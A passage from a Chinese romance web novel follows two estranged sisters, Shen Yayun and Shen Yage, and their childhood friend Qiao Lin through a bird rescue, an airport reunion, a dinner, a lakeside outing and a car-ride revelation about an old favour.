“噢,我说怎么这么眼熟……”沈雅韵恍然大悟,随后信誓旦旦道,“我见过它的同类。”
“……”
“你不问问哪里见到的?”见没人接梗,沈雅韵不甘心追问。
“哪里看见的?”沈雅歌沉默了一会,从善如流。
“……网上。”
“……”
“哈哈,逗你的啦,”沈雅韵收起手机,随意拍了拍她
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的肩膀,“我有一个朋友就是用北山尾山雀当头像,我天天看,就感觉这鸟有点熟悉。”
说完又转头看向她,目光里有好奇,“没想到你对鸟这么熟悉……”
“……还好。”
沈雅歌不知道是不是不想搭理她,简单回答她的问题后便不再多言,低着头专心看鸟,专心得她不好意思再问。
没人和自己聊天,沈雅韵便再次拿出手机看,看了看,一颗心又回到了红头长尾山雀身上。
小鸟着实可爱。
“诶,它好像可以动了,它是不是要走了?”红头长尾山雀展了展翅,沈雅韵惊呼好奇。
沈雅歌低头看了一眼,摇了摇头,“还飞不起来,得再干一点,别让它出去了。”
外面还下着雨,飞出去羽毛再次打湿,这鸟很可能就再飞不起来了。
“那我把门窗关上。”
沈雅韵想了了,说干就干,将楼阁的木窗大多是关着的,也就一两扇需要她关一下,将窗户关上,再门关上,室内光线一下暗了下来。
昏暗中,她靠着沈雅歌坐下,
不知道过了多久,外面雨声渐渐小了,沈雅韵站起身打开朱红大门,天光洒进,红头长尾山雀从沈雅歌怀里跳下在地上快速走了几步。
小巧的鸟爪落在地上像是轻巧的舞者,过了一会,红头长尾山雀展开翅膀扑了两下,不知道是因为羽毛还没干的原因还是因为紧张,小鸟没有立刻飞起。
又走了几步,红头长尾山雀立刻开始第二次尝试。
二人默默站在角落里,尽量给小鸟腾出起飞的空间。
第二次尝试的红头长尾山雀飞了起来,可惜没飞多长距离便在空中一个趔趄摔倒在地。
这一下摔得结结实实,沈雅韵看得心疼,忍不住想把小鸟捧起,她向前走了一步,被一旁的沈雅歌拉住。
沈雅歌摇了摇头,沈雅韵犹豫,就这么阻拦的功夫,红头长尾山雀一个起身冲出门外,矫健身姿在空中划出优美弧度。
沈雅韵惊叹看着,“它走了。”
“嗯,我们也走吧。”
雨停了。
25. 第 25 章
下午一点,c市机场,一架飞机刚刚落地。
笔直长腿大步前行,手里捧着的鲜花娇嫩欲滴,一想到等会要见的人,唇角从下飞机开始就没放下过。
乔走霖向上机前便说好的出站口前行,心脏不知道是因为走太快还是愉悦,总之在胸膛底下跳得飞快。
好不容易打听到沈雅韵杀青时间,连忙调休来了c市,花也是上机前便买好了的,粉色郁金香百合,也不知她喜不喜欢……
人潮涌动,他头一次觉得机场的道路这么长。
走了不知道多久,终于到了沈雅韵说的那个地方,唇角的笑容还未绽放,在看见出站口熟悉的人影后瞬间僵在脸上。
“……”
或许是太过震惊,连本该打的招呼都没能想起来,哑口无言看着对面戴着墨镜,身材高挑利落的女子。
“乔霖,”沈雅歌微笑,“又见面了,真,巧。”
巧什么巧,乔霖终于反应过来,努力忽视面前人极具压迫性的目光,转头看向她身后左右。
“怎么是你?雅韵呢?”
“雅韵……不方便……”沈雅歌取下墨镜,看着他,目光惊讶地上下扫视了他一眼,“我让她在餐厅等着,我来接你。”
“她跟你说过了,你没看?”
乔霖微怔,终于想起拿起手机看一眼。
屏幕亮起,上飞机前的几条消息下不知什么时候多了两条消息,说的正是让沈雅歌来接机一事。
沈雅歌静静地等着他看完消息,也不催促,目光落在他手上的鲜花上,眉梢轻挑。
“我帮你拿?”
乔霖顺着她的视线落在鲜花上,目光轻闪。
“不用,我们走吧。”
沈雅歌瞥了一眼他拿着的行李箱和鲜花,既然他说不用,也没有上手帮忙的意思。
两人一个空着手,一个捧着鲜花提着行李箱往外走。
“你怎么会在这?”乔霖捧着花,深棕的瞳孔缓和深邃。
“出差,顺便来看看雅韵。”沈雅歌转过头上下打量他一眼,目光戏谑、但更多的是审视,“后悔了?不该来这趟?”
说完也不等他回复,自顾自道,“不过你确实不该来。”
她既然知道了乔霖的心思,就不可能放任他接触雅韵。
雅韵心思单纯,就连她都是因为那封出国书信看出的端倪,雅韵更不可能知道这人在许多年前就生起的异样心思。
乔霖……
想到这件事心底冷意渐生。
雅韵凭着年少时的情分把乔霖当作大哥哥对待,乔霖他在做什么?
“不后悔,”乔霖低头轻笑,笑容掩在花束后,莫名有些苦涩,“我还是会来的。”
无数人在他们身边走过,周遭嘈杂,但乔霖略带苦涩的话语还是无比清晰落在沈雅歌耳道内,深棕的眸色瞬间冷了下来,近乎寒冰。
她停住脚,看向乔霖。
乔霖也停下步伐,沉默却毫不退让,被牛皮纸包裹起来的花束在他脸颊旁摇曳。
温和纯净,芝兰如玉,一双棕绿的眼不带锐气而坚定地看着她,任谁看了都得心软。
但沈雅歌不仅没有心软,反而怒从心起,冰冷的眼眸瞬间危险眯起。
乔霖这是在对她宣战,哪怕他语气再温和,在她这里也是宣战无疑。
“这是不撞南墙不回头了?”
乔霖垂眸,粉色郁金香和白色百合花束映衬着的面容温润,沉默了一会抬头,温和的眼底终于透露出几分锐利。
他看向沈雅歌,“雅歌,我并不认为自己比其他人差,况且雅韵……不说喜欢,至少不讨厌我,为什么……”
他停顿了一下,再开口时眼底锋芒毕露,“为什么我不能?”
他自认不差于人,容貌财富工作都不会比沈雅韵接触的那些明星差上几分。
如果那些人可以,为什么他不行?
“为什么……”沈雅歌无声勾着唇,眼底也带了火光,“为什么你不清楚?”
“乔霖,就算她喜欢你,她对你的好感又有多少是源于那几年的照顾?”她缓缓出声,不出意外看着乔霖的脸色慢慢白下去,心底冷意不减反增,“这样得来的喜欢,你不觉得卑鄙吗?”
‘卑鄙’
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二字散落在空旷的大厅里,乔霖面色白得和脸颊旁的白百合不相上下。
沈雅歌的话像是说中了他心里最担心的事,唇瓣轻抖了一下,看着沈雅歌像是想要辩解什么,然而也只是张了张口,最后颓然的闭上嘴。
不能再说了,再说就连他自己都要嫌恶自己的‘卑鄙’。
出站口人很多,他们这般争执声音虽然不大却也有不少人看了过来。
沈雅歌说完转开了头,寒冰般的眸子几个呼吸后终于缓和了一点。到底是多年认识的好友,她刚刚的话确实过分了些。
口张开想说什么,手机却忽然传来震动,震动将两人的僵持打破。
乔霖轻撇开头,沈雅歌低头看向手机。
看到手机上显示的来电备注,目光闪了闪,按下接听键,带着冷意的面容瞬间软化,如沐春风。
“嗯,刚接到他。”
“没事,你看着点好了,我们很快就过来。”
“嗯嗯,跟他说了,没事,放心。”
沈雅歌接完妹妹电话,转头看向乔霖,目光轻动,“走吧,韵韵在等我们。”
乔霖这才回过神,心里不是滋味的捧着花束跟在沈雅歌身后。
手机忽然震动了几下,他拿出手机,几条消息显示在屏幕上方。
【乔霖哥我先点菜啦,你们快来啊(微笑)(微笑)】
【我姐她没欺负你吧?】
简单的两条消息下好像能看到沈雅韵热情又有几分抱歉的笑容,乔霖苍白的面色渐渐恢复正常,嘴角微泛着苦意。
欺负……
沈雅歌怕是恨不得撕了他……
看着前方不带停顿行走的沈雅歌,握着手机的手紧了紧,复杂的心绪最终化为一声无奈叹息。
点完几个菜后把菜单交给服务员,服务员退下,沈雅韵坐在桌前,思绪发散。
也不知道沈雅歌和乔霖哥什么时候到……
想了想又看向桌上的手机,手机屏幕上聊天框显示她刚刚发给乔霖的两条消息。
过了一会,手机轻微震动。
乔霖:【我们马上到。】
26. 第 26 章
乔霖轻松的回复让她脸上带了笑意,沈雅韵拿起手机,敲几个字后,放下一颗心,专心等待两人过过来。
原本说好今天她送完沈雅歌再接乔霖,没想到沈雅歌听说乔霖要来后向公司多请了一天假,说是上次和乔霖有些误会,这次他过来,刚好一起吃个饭解释一下。
对于这番说辞,她抱着将信将疑的态度,但耐不住沈雅歌几番劝说,还是让她去接乔霖了。
身为公众人物,非工作时间减少出现在大众视野前对自己是好事。
想到这里又忍不住好奇上次两人到底是为什么闹的矛盾?
之前和沈雅歌吵完架一直没来得及问,之前问乔霖,乔霖也是支支吾吾的不肯说,两人好像有什么秘密似的故意瞒着自己。
这种他们都知道就自己不知道的感觉,让她恨不得敲爆两人狗头……
等了二十来分钟,无聊得她开始拨筷子了,菜才刚刚上来,菜一上来,身高不相上下的二人便同时进了包厢。
多了两个高大的人,包厢瞬时显得拥挤。
“祝贺雅韵杀青,又完成了一部剧。”乔霖手上捧着鲜花,唇角噙着笑,目光犹如粼粼湖面,温暖洋溢。
“谢谢~”沈雅韵脸颊红了一瞬,大概没想到乔霖带着花过来,顿时有几分羞涩的接过包装精致的花束,将其放在一旁。
三人落座,沈雅歌坐在妹妹身侧,乔霖坐在二人对面,气氛和上次的诡异不同,很是温馨。
“乔霖哥,不好意思,本来说好我去接你的……”说着她看了一眼身旁面色平静的沈雅歌,颇为抱歉的说道。
乔霖不以为意笑笑,“没事,本来也该这样,机场人多,你确实不该出现,还是雅歌考虑得周到。”
“自然。”夹着菜的沈雅歌毫不客气接下这句夸赞,顿时引来一旁沈雅韵的白眼。
“切,夸你也不知道谦虚一下。”
她这么一说,乔霖也想起了什么,带着笑瞬间接上,“她什么时候谦虚过?”
“有一次她考了年级第一,老师让她分享一下学习心得,你猜她怎么说?”
“怎么说?”沈雅韵好奇。
“她站起来说……”乔霖故意停顿了一下,眼见把沈雅韵的好奇心勾起,这才慢悠悠道出那时的趣事,“她说上课听过就记住了。”
“语气理所当然,把所有人气的……”
沈雅韵逗笑了,瞥了一眼身旁像是不是在说自己,若无其事的沈雅歌,瘪了下嘴,哼了一声,“凡尔赛……”
“不错,”乔霖赞同,抬头轻笑,“幸好你小她几岁,要是和她同一年级就会知道,她的气人程度和成绩不相上下。”
两人不知怎的围绕着她的糗事一句接一句的说了起来,气氛不似第一次聚会时的尴尬,洋溢轻松愉快,沈雅歌看着目光在二人中间转了转,攒着心思的眸子软和不少。
乔霖如果不是打着那样的主意的话,这样聚会她乐见其成。
两人聊得不亦乐乎,沈雅韵似乎对这些过往特别感兴趣,尤其在乔霖讲到沈雅歌高中时的事,一双眸子好奇不已,乔霖见状看了一眼在旁边沉默听着他们讲话也不插话的沈雅歌。
沈雅歌静静地听着他们讲话,时不时往沈雅韵方向看过去,目光温和,一双锐利的眼在触及到妹妹时总是软得不像话,只是雅韵甚少往她这边看上一眼,雅韵关注的东西太多了,沈雅歌好像从来不在她的关注范围内,但他记得很久以前不是这样的……
很久以前,对于小小的沈雅韵来说,姐姐就是她小小世界最接近无所不能神的人,可惜……想到二人之间的龃龉,乔霖目光闪了闪,对于沈雅歌在机场毫不客气的言论少了几分怒气,多了几分叹息。
八年过去,这两人还是这样古怪的相处模式还真是出乎他的意料。目光轻闪,忽然话题一转,提起另一件事来。
“还有一次,她走到我面前,问我想不想要得第一,想要的话她让给我,”乔霖说着,轻轻摊开手,面露无奈,“你知道的,高中那时候我和她同一个班,她呢,次次第一,我总是要差她一点,
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然后有一天她忽然走到我面前来说这种话……”
“乔霖——”
沈雅韵睁大了眼不可思议的听着,一旁原本只是听着他们讲话的沈雅歌不知道什么时候突然放下了筷子,看着乔霖,目露警告。
乔霖说到一半的话停下,沈雅韵不满的瞪她一眼,饭也不吃了,转头眼巴巴看着乔霖。
“不用理她,说嘛说嘛~”她虽然知道沈雅歌这人傲得离谱,但没想到还有这样的事,好奇心上来,根本不管沈雅歌不自然的神情,“她为什么要挑衅你?”
‘挑衅’一词一出,沈雅歌面色僵硬,乔霖低头捂笑,笑了一会目光在沈雅歌僵硬的面容划过落在好奇看着自己的沈雅韵身上,继续道,“你也觉得是挑衅?”
“不是吗?”被他这么一问,沈雅韵微的有些怀疑,但再回想刚刚乔霖说的话,再次坚定自己的判断,“就是挑衅,乔霖哥你后面怎么回的她?”
说完又不可思议看向一旁的沈雅歌,上下打量了她好几眼,难以置信的感慨道,“哇,你怎么这么欠揍?”
她以前也觉得沈雅歌有时候说话很气人,但也只是偶尔,甚至更多时候怀疑是不是自己嫉妒下的偏见,乔霖说的话着实让她没想到,沈雅歌在学校作风这么嚣张的吗?
此言一出,不顾沈雅歌警告的眼神,乔霖笑得更大声了。
欠揍……可不就是这样吗?
盯着妹妹谴责的目光,沈雅歌觉得自己还是有必要解释一下,“不是挑衅,交易。”
她给乔霖想要的,换他帮个忙罢了。
然而这样的解释除了她自己能说通,沈雅韵是一点不信,看着乐不可支的乔霖连忙追问后续,“然后呢?”
“然后……”
“乔霖——”
又是警告,乔霖故意看了紧张的沈雅歌一眼,机场时被怼得哑口无言的怨气终于得了缓解,在她明显紧张的注视下,缓缓道出一句,“她说的没错,她这样说其实是想求我帮忙。”
“帮忙,帮什么忙?”
27. 第 27 章
“帮什么忙?”
沈雅韵好奇,沈雅歌从小都是别人眼里的好孩子,老师眼中的榜样,鉴于她极其优秀的成绩和从来不让人操心的生活,刘文慧女士对于这个让自己骄傲不已的大女儿向来是有求必应,哪怕沈雅歌要天上的星星,刘文慧女士怕是也会想办法给她摘下来。
总之在沈家,沈雅歌的一切都是最重要的,怎么会还要乔霖帮忙的事?
乔霖意味深长看了一眼目光冰冷看着自己的沈雅歌,沈雅歌半靠着身后的椅背,深色的眸子在暗处近乎于黑色,黑眸冷冷的看着他,大有他再说下去,就把他撕了的感觉。
哦?这就紧张了?
乔霖心里有些好笑,目光回到撑着下颌好奇看着自己的沈雅韵,目光闪了闪,端起身前精致花纹的茶杯轻抿了一口。
而他对面的两人,一人目光如炬,灼灼等待后续事情发展,一人目光如霜,不无警告的看着他。
在冰火两重天的注视下,乔霖终于放下了他的破杯子,薄唇轻启,用两人都能听到的声音道,“这你就问她吧,总之当时把我气得不轻。”
话头一转,直接把问题交到了沈雅歌手上。
沈雅歌警告的眼神来不及变动,就见妹妹水灵灵的大眼睛看了过来,顿时卡壳。
飞速思考了一会,在妹妹好奇的注视下,慢吞吞道出一句,“让他帮我顶一个竞赛名额,我不想去。”
就这事啊……
听到原来只是顶什么竞赛,沈雅韵顿时没了兴趣,也不想问是什么竞赛,不用问也知道肯定是什么数学物理各种学科竞赛。
她问这种问题就是自取其辱,毕竟和在场从小各种竞赛到大的两人不同,她从小就没参加过什么正经学习上的比赛,倒是各大文艺汇演少不了她的身影。
眼见问题被沈雅歌轻易圆了过去,乔霖掩下眼底的遗憾,继而聊起这些年在国外的一些趣事。
时间很快过去,等吃完饭要出去时,沈雅韵才后知后觉想起一件事,看着乔霖有些犹豫。
“乔霖哥,你这次来c市想去哪里看看?”
对于这个问题乔霖也有点意外,不过很快他便说出来几个地点,地点一说,沈雅韵愣了一下,下意识看向沈雅歌。
乔霖说的园林她们昨天刚去。
一见二人面色有异,乔霖目光轻闪,似乎猜到了什么,“你们已经去过了的话,其他地方也可以。”
他眼底泛着笑,随意轻松,“我对c市不了解,全听你们的。”
他态度随意,沈雅韵想了想瞬间有了决定,
“还是去那好了,我们两个昨天虽然去过,但园子太大也没走完,刚好走剩下的部分。”
c市最著名的景区就是这几座园林,人来了不逛一下确实更白来没什么两样,况且昨日她们确实只走了很小一部分。
沈雅歌没意见,乔霖更没意见,三人便这般达成共识前往昨日的园林。
既然要逛公园,手上提着东西当然不行,于是三人先回沈雅韵在的酒店放下手上拿着的东西再前往景区。
乔霖的行李箱早在来餐厅的路上便放到酒店了,沈雅韵的酒店刚好在前往园林的路上,进去一趟再出来也耽误不了多长时间,等到了景区时天色依然还早。
今天是个晴天,昨日的雨下过后,树叶在阳光的照耀下格外鲜艳,让人看着心情便不由为之一畅。
三人并行走在绿意盎然的小道上,不时讨论起一些过往的人和事,气氛也算和谐。
“乔霖哥这次来什么时候走?”
“后天的飞机。”
听到他后天就要走,沈雅韵有些失落,但随即又表示理解。
医院这种地方在假期也必须有人值班的地方,休假本就不容易,能抽出三天时间来探望自己已经很好了,人不能太贪心。
与她的失落形成对比的是沈雅歌,沈雅歌唇角轻勾,显然对这个结果满意。
三人又走了一段,不知道走到哪里,刚巧在沈雅韵小腿有些泛酸时,面前突然出现一个湖,三人顺势在湖旁道路上专供行人歇息的长椅上坐下。
湖很大,湖水在太阳底下闪亮地发着光,湖岸两旁被雨水冲刷过的绿叶也亮闪闪的,闪亮的湖面上,不知名的、展着白色翅膀的鸟儿盘旋。
一切都是那样的美好
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。
“那是海鸥吗?”
看着那群盘旋在湖面上的鸟,沈雅韵发出疑问,问出口后却马上后悔了。
他们在湖边又不是海边,怎么会是海鸥?
然而不等她懊悔,一旁的沈雅歌便回答了她的疑问。
“是海鸥。”
红嘴鸥。
沈雅歌仰头望向那一片盘旋的红嘴海鸥,阳光洒在她眼里落下金色温暖光点,让她身上的疏离气息消散不少。
海鸥聚集的地方游客很多,行人大多拿着面包,也有少许拿着其他吃食,大家不约而同举着手,希望振翅的鸟类能看中他们手中的吃食而停留在身边片刻。
金光洒在众人身上,构成一幅人与自然的温暖画卷。
“你怎么知道?”自己随意一问,沈雅歌便和昨天一样给出精准答案,古怪的疑惑情绪又再次升起,沈雅韵半信半疑,“湖泊也会出现海鸥?”
沈雅歌视线从行人和海鸥身上收回转向沈雅韵,刚想和妹妹解释,一旁同样望着鸟的乔霖却笑了起来。
“这点你还真别怀疑她,说不准就是海鸥呢。”
“你怎么确定,万一是鸽子呢。”
见乔霖查也不查便相信沈雅歌的判断,沈雅韵心下微酸,酸涩过后便不服气反驳,说出一个自己也不信的答案。
“红嘴鸥,不是鸽子。”沈雅歌给出正确答案。
沈雅韵看着她一脸笃定,心里和昨天看到沈雅歌手机相册照片时一样的古怪感再次涌上心头。
昨天她们放飞那只红头长尾山雀后便一起去了维修点拿沈雅歌的手机。
她们去的时间很晚了,沈雅歌的手机却还没修好,两人只能坐在店里的座椅上等待,她看她的衣服不知道怎么弄的都湿了,便订了一套衣服让他们送到维修点。
坐了一会衣服到了,沈雅歌卫生间去换衣服,她坐在大厅里继续等,就是那时候店里终于叫到沈雅歌的号码。
手机修好了,她便拿着沈雅歌留在自己这里的号码上前领取,店员让她检查一下确认没有其他问题。
她发誓,她真的不是故意点开沈雅歌手机相册的!
28. 第 28 章
误点开手机相册的那一刻,没预料到会看到那么多的鸟照片。
局部的,宏观的,各种种类……
那一刻她被这庞大的密密麻麻的观鸟照震撼得呆在原地,然而不等细看,便被换好衣服不知何时来到身边的沈雅歌拿过了手机。
手机从眼前拿走的一刻,她甚至还是呆在原地、睁大着眼傻乎乎的看着沈雅歌,过了好一会才想起来问她怎么一回事。
“一些相片而已。”沈雅歌无所谓回道,“忘记清理了。”
她说的随意,好像那些照片再正常不过,一时竟将她蒙蔽了过去,认为确实没什么大不了的,每个人手机里总是会有一些莫名其妙留下来的照片,有时候是软件莫名保存,有时候是突然兴起拍了十几张相似的照片。然而现在细细一想,普通人手机怎么可能会存那么多的鸟照?
越想越不对劲的沈雅韵此刻见沈雅歌再一次查也不查的说出是红嘴鸥,心里古怪的感觉越发浓烈,莫名的逆反心思也越发浓重。
“你怎么知道是红嘴鸥?离得这么远,又没近距离看过,万一是其他海鸥呢?”
“我看到了,它们喙和脚都是深红色。”
“深红色的嘴和脚的鸟这么多,你凭什么断定是红嘴鸥?”
她忽然好像杠精上身,再三的质问沈雅歌。
乔霖讶异的看了过来,目光在她们二人之间打转,沈雅歌也奇怪地看了她一眼,微微思索了一会后再次解释,声音轻缓,耐心细致。
“这片湖每年这个季节都会引来大量的红嘴鸥,也是著名的观海鸥圣地,”略微停顿了一下,继续道,“况且你仔细看,这鸟的全身的羽毛基本是白的,尾羽却是黑的,除去红嘴红脚外,它的眼睛是全黑的,这也是分辨红嘴鸥和其他海鸥的区别之一。”
沈雅歌说得很认真,认真得像是小时候给她讲解数学题,夜色下,暖黄的台灯落在她认真的眼里犹如金色的星星,璀璨得让人不由自主追随,就像她曾经那样……
思绪一时恍惚,纠缠不休的话没说出口,便在恍惚的思绪中偃旗息鼓。
“还是相信雅歌吧,”乔霖轻笑,转头看向她,解释自己为什么相信沈雅歌的原因,“她在大学时参加过观鸟爱好者协会,比起我们这些门外汉,她知道的肯定多一点。”
轻巧的话音落在她耳里又是一惊,不带思索下意识追问,“你大学时参加过观鸟协会?我怎么……”不知道……
话音消散在唇迹,沈雅韵猛然意识到这话不对。
她何止不知道沈雅歌参加过观鸟协会,沈雅歌大学那几年的所有事基本她都不知道。
不听、不问、不言,就是那几年她对她的态度。
她的突然沉默让左右二人不约而同静默了下来,沈雅歌忽而抿住了唇,似乎也想到了什么,眸光微暗,乔霖看着她们二人,目光轻闪。
过了一会,沉默一会沈雅韵忽然好似发现了什么似的,伸出手指向湖面,语露惊喜。
“欸,有可以自己划的小船诶,1,2,3……可以坐四个人,刚好我们三个人,要不要划一划试试看?”
她表情惊喜,似乎一时兴起,突然间兴奋极了。如果不是从一开始他们就看到了那些小船的话,任谁也不会觉得她是故意岔开话题,但剩下的两人哪个不聪明?
沈雅韵目光黯淡了一瞬后,很快顺着她的视线看过去,唇角扯出笑意,目光温和地赞同,看不出一丝异样,“可以,正好一起。”
两人都看着湖面上小小的船只,像是惊叹于它小巧精密的结构般,头也不往旁边偏的看着它,聚精会神,专心
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致志。
阳光洒在两张相似的面庞上,天上海鸥盘旋,远处是人潮热闹,近处湖水冲刷堤岸,明明那么温暖的画面,近在咫尺的二人中间却好似隔了一堵沉重的围墙,连风也穿不透。
乔霖坐在一侧看着既近又远的二人,被阳光染得金灿的眼眸流露着思绪。
三人玩过游船,又在园林里逛了逛,一直到天黑吃过晚饭才分别,谁也没有再提起之前的事,第二天三人随意聚了聚,一直到下午送沈雅歌上飞机。
沈雅歌只请了一天的假,便是万般不舍也只能回去。
“你进去吧。”沈雅韵看了眼时间,搓了搓手。
她们一个半小时前便来了机场,可沈雅歌就是不进去,于是三人只能在进站口外的一个小餐厅坐着,现在离登机时间只有半小时,她还不进去,等下赶不到登机口看她怎么办……
沈雅歌看了眼时间,目光在乔霖和妹妹之间打转,眼神再三警告乔霖后,这才转身走进机场入口。
二人送她到入口,目送她进去。
等她进去,沈雅韵脸上挂着的笑这才落下,龇了龇牙,朝手心哈了口气,向一旁的乔霖不满抱怨,“哼,她也真是的,好好的贵宾厅不进去,让我们陪她在外面等……”之所以会有这样的怨言完全是因为冻着了。
上午的天气非常好,好到她只穿了一件长袖紧身连衣裙还觉得有点热,但天气说变就变,就在一小时前晴空万里突然变得黑云密布,气温陡然下降,在餐厅坐着还不觉得,此刻在机场外站了一会,脖颈和手臂冒了一层的鸡皮疙瘩。
“我们回去吧,对了乔霖哥——”
说着转头想问乔霖明天他几点的飞机,然而话还没说完视野忽而落入一片黑,在她茫然之际,带着人体温度的黑色大衣落在她肩头。
29. 第 29 章
“乔霖哥……”
沈雅韵有些无措,想把肩上的衣服还给他,手抬起却被一把按住。
“我不冷。”他按下她欲拿开衣服的手,自然的接过她手上的包,迈开步子向前走去。
他们在进站口,乘车在另一个方向还要走一段距离,天色阴暗,空气中水汽浓度渐高,就这么短短几分钟的时间,骤然降下的大雨险些降还未上车的二人淋成个落汤鸡。
赶紧上车,等上车后,两人望着彼此的狼狈模样不约而同笑了。
沈雅韵相对还好一点,多亏了乔霖的大衣,雨来时她将大衣遮在头顶,所以只是额前的发丝和手臂淋到的雨水的多一点,但乔霖就不行了。
乔霖大衣里面穿的是白色衬衣,把大衣给沈雅韵后,单薄的白色衬衣被雨水一淋,常年健身下饱满的肌肉线条在薄衫下若隐若现,沈雅韵目光不自觉移了过去。
他们上车后,司机将车窗关上,开了空调。
车门温度渐渐升高,水汽渐渐蒸腾,沈雅韵后知后觉从衬衫上移开视线,抿了下唇,若无其事看向车窗外。
窗外天色暗得犹如黑夜,连带着车内光线也昏暗不已,醺红的脸庞在暗色下看不分明。
“对了乔霖哥,你明天也是这个点飞机吗?”她轻咳了一声,终于想起来正经事,转头看向乔霖。
昏暗的车内,彼此面容都不甚清晰,只能听见乔霖一贯温柔的话音在车厢内响起,阴冷的空气似乎都因为他温和的话语驱散不少。
“嗯嗯,一样的时间,”乔霖低声应了一句,“雅韵你呢,接下来去哪里了?”
不知道是不是因为淋了一点雨的原因,乔霖的声音比以往多了几分磁性的低沉,在昏暗的车厢内,因为他的声线无端升起几分勾人的引诱意味,沈雅韵脸上降下去的热度竟隐隐有回升的征兆。
不是,她从来没听过乔霖这样的声线,哪怕知道可能是因为淋雨有些嘶哑的缘故,还是忍不住红了脸,脑海里闪过刚刚看到的衬衫下风景,一时间险些没听见乔霖在说什么。
“啊,哦,嗯……我,我也不知道……”嚅嗫着,忍着滚烫的脸回了一句,“后面行程还没定,这个月内应该不会有什么工作了。”
她火得突然也莫名其妙,商务找过来时连经验的无,刘姐还在接触商谈中,敲定怎么也得是下个月的事,总之这个月没什么工作要忙,可以好好休息一段时间。
“半个月……还真是可惜……”乔霖感叹了一声。
“可惜什么?”沈雅韵好奇,虽然看不清他的神色,但还是习惯性的转过头看向他。
“可惜我假期不多,不能来找你……”
乔霖温和低沉的话语像是落叶一般轻轻落在地上,便是失望也是那样的温和,沈雅韵闻言连忙安慰。
“没事没事,有时间再见好了……”想了想又觉得这话太过客套,跟着补充劝慰道,“乔霖哥,既然你假期这么紧张,不用来找我也没事的……”
她过去也可以啊,不过得等休息好再说,现在还是感觉有些疲惫,并没有完全从拍戏的状态中恢复过来。
她想着去找乔霖的时间还不能确定,想着想着那句‘我也可以去找你’的话便被运转中的大脑吞噬,乔霖一时无应答,直到车内的空气忽而低沉了许多,沉默的失落中,乔霖语带失落的道出一句‘韵韵不想见我?’这才发觉刚刚的话好像有歧义。
“不是不是,不喜欢你来找我,只是你这样过来又回去的会不会太累了?”为了不觉得自己是在敷衍,沈雅韵连忙将刚刚不小心落下的话补上,“我也可以来找你的,反正后面没什么事……”
“雅韵这是心疼我?”乔霖话里的失落一扫而空,恢复正常,甚至隐约可以听出话语里的期待之意,挪揄又带着几分期许的愉快嗓音好似音符一般落在沈雅韵耳边里,耳朵缓缓滚烫。
……啊,他怎么可以
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用这种声音跟自己讲话,太……犯罪了……
揉了揉自己滚烫的耳朵,沈雅韵深吸了一口气,将心里不该有的念头再次压下去,不断告诉自己乔霖只是哥哥,默念了好几遍,这才装作若无其事道,“算……是吧,我听李姨说你在医院很忙,很辛苦……”“
这么几天假期还辛苦你从那边飞这边,太……累了。”
她说的是真心话,在一开始得知他要来探望自己时便劝说过,反正她也快杀青了,干脆等她后面有假期去找他好了,这样也不用调假,也不耽误他的工作,但架不住乔霖非要过来。
“不会累。”乔霖极快接道,话音里的愉悦溢于言表“想见一个人的时候怎么会累,况且……”
后面几个字乔霖的话语突然低下来,沈雅韵没太听清“什么?”
“没什么,”见她没听清,乔霖松了一口气的同时又有些失落,车厢昏暗,沈雅韵模糊的面容若隐若现,但他却能在心里将那张脸分毫不差的刻画出来。
沈雅韵因为没听清他的话转过头来,他清晰地看见她眼里的好奇,也同时知道如果自己眼里的火热要是被发现,面前的人大概率会被吓得逃跑。
不能急,慢慢来……
像是披着羊皮的灰狼在激动想将自己的野心暴露给对面将他当做同类的小白羊时,再次将所有的野心和欲望拢入眼底,乔霖无害回复道,“只是感慨我们雅韵也长大了,也知道心疼人了……”
“应该的嘛~当年乔霖哥等照顾我那么多,谢还来不及呢~”见乔霖这么客气,沈雅韵瘪了下唇,大大咧咧回应。
她说的随意,也因为是事实的原因说的毫无压力,可等半天都没等来乔霖轻松的回应。
气氛不知怎的沉重了几分,窗外的雨势不见小,她叹了一口气,担心等下下车还是要淋雨时,乔霖熟悉的声音再次响起。
“韵韵,你知道雅歌当年拜托我的事是什么吗?”
30. 第 30 章
雨声淅沥,雨水不断冲刷着落地窗,天色昏沉,在成片的雨幕下,不远处c市著名的地标性建筑也变得模糊起来。
沈雅韵坐在落地窗前的沙发上,整个身体陷在沙发里一动不动。
从进房间开始到现在已经过去二十分钟了,她还是那样坐着。
房间没有开灯,天色昏暗,室内除了落地窗透露出的微弱天光,再无别的光源。
很暗。
身后的黑暗像是要吞噬人的巨兽,而坐落在落地窗的沈雅韵却没有开灯驱赶的意思,半躺在沙发里,一双浅栗的眸子望着窗外,像是要透过重重的雨幕看清楚什么。
看清什么呢?
栗眸终于闪动了一下,随即烦躁的抓着头发,细致打理过的发丝很快被手抓得凌乱不堪。
“啊——”
她大喊了一声,像是要把胸腔里惹人心烦的思绪全部一股脑喊出来,手从头顶放下,撑着身体坐了起来。
半个小时前,快到酒店的时候,乔霖突然开口说起昨日在餐桌上说起过的‘给沈雅歌帮忙’的事,他问她,“你知道雅歌当年拜托我的是什么事吗?”
她坐在车上,思绪还停留在之前轻松的氛围中,突然听乔霖提起这事,当即好奇,“不是顶什么比赛?”
她记得他们当时在餐桌上就是这么说的,现在乔霖又提起,难道其中还有其他什么她不知道的隐情?
好奇心被乔霖的话一点一点提起,奇怪的是等她问出声后,乔霖反而不说话了,似乎在斟酌着什么。
车厢很暗,乔霖的神情在昏暗的车厢内看不清晰,但她还是下意识睁大了眼看着他所在的方向,好奇他说的‘帮忙’是什么事。
车开得很慢,似乎是因为酒店靠近市中心的原因,车流量大,再加上下雨天,车只能跟在其他车辆后面慢慢挪动。在这种情况下,人的心情似乎也因为漫长的等待染上了几分躁意,不知道哪里传来的喇叭声一声又一声,更让人听着烦躁。
司机似乎也感受到了这份不耐烦,拨动了几个按键,轻缓的、上个年代的情歌从车内喇叭传出。
情歌悠扬,上个年代的情歌像是情人对着爱人的耳朵轻轻诉说着爱意,轻缓柔和的歌声布满车内时,乔霖的声音随之响起。
“她拜托我照顾你。”
沈雅韵闻言抿住了唇,栗眸里有什么东西快速闪过。
“什么时候?”
“高三毕业那年,”乔霖沉默了一下,“她突然走到我面前说‘想不想当第一’这种话,我没理她,后来她才说是想请我我照顾你……”
说这种话不理她也正常吧,那话把当时的他气得一个月没睡好,努力刷题学习,就是为了在下一个月超过她,结果……还是失败了啊……
沈雅歌简直不是人来的,暗自吐槽了一句,乔霖小心翼翼看向沈雅韵的方向,小心询问,“你们那时候是不是吵架了?”
